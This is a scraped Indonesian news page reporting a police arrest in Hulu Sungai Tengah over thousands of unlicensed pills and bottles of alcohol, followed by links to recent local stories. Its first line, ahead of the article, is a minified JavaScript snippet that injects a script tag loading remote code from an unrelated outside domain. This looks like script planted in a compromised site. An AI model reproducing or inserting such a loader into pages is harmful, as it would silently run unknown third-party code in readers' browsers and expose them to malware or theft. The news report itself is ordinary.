(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HST

Ribuan Obat Serta Alkohol Tanpa Izin Edar Diamankan Resnarkoba Polres HST


KANALKALIMANTAN.COM, BARABAI – Sat Resnarkoba Polres Hulu Sungai Tengah menangkap SAR, 43 tahun, warga jalan Telaga Padawangan RT 001 RW 001 Kelurahan Barabai Timur, Kecamatan Barabai, Kabupaten Hulu Sungai Tengah (HST). SAR diduga melakoni bisnis obat-obatan terlarang tanpa izin edar kesehatan di wilayah Barabai.

Penangkapan SAR, pada Rabu (28/10/2020) sekira jam 13.00 Wita di Desa Mandingin RT 015 RW 003 Kecamatan Barabai, HST -tepatnya di dalam rumah pelaku-, bermula petugas mendapat informasi dari masyarakat bahwa di Desa Mandingin sering terjadi transaksi jual beli obat jenis Seledryl dan Samcodin, kemudian dilakukan penyelidikan dan berhasil mengamankan SAR dengan barang bukti berupa 3 kotak kardus warna coklat yang berisi 100 box atau sekitar 36.000 butir obat jenis Seledryl, 35 box atau sekitar 4.200 butir obat jenis Seledryl, 6 box atau 600 butir obat Samcodin, 10 kotak atau 240 botol alkohol Tjap gadjah 95% isi 100 ml, 19 botol alkohol Tjap gadjah 95% isi 300 ml, 5 kotak (120 botol) alkohol merk Nova 70% isi 300 ml, 1 kotak (100 botol) alkohol merk Nova 70% isi 100 ml, serta uang tunai sebesar Rp 810.000, 1 buah HP, 1 unit mobil. Selanjutnya Pelaku dan Barang bukti dibawa ke Polres HST guna penyidikan lebih lanjut.

Kapolres HST AKBP Danang Widaryanto, melalui Ps Paur Subag Humas Aipda M Husaini mengatakan penangkapan terhadap SAR bisa dilakukan atas peran serta masyarakat yang memberi informasi adanya peredaran obat terlarang di wilayah hukum HST.

Kapolres mengimbau kepada masyarakat, khususnya para remaja agar jangan coba-coba dan mengkonsumsi barang haram tersebut. Karena akan berdampak buruk terhadap kesehatan dan keluarga “Kita tidak akan bosan untuk memberantas peredaran obat terlarang di Hulu Sungai Tengah,” tegasnya. (kanalkalimantan.com/rls)

Editor: Bie


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

9 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

10 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.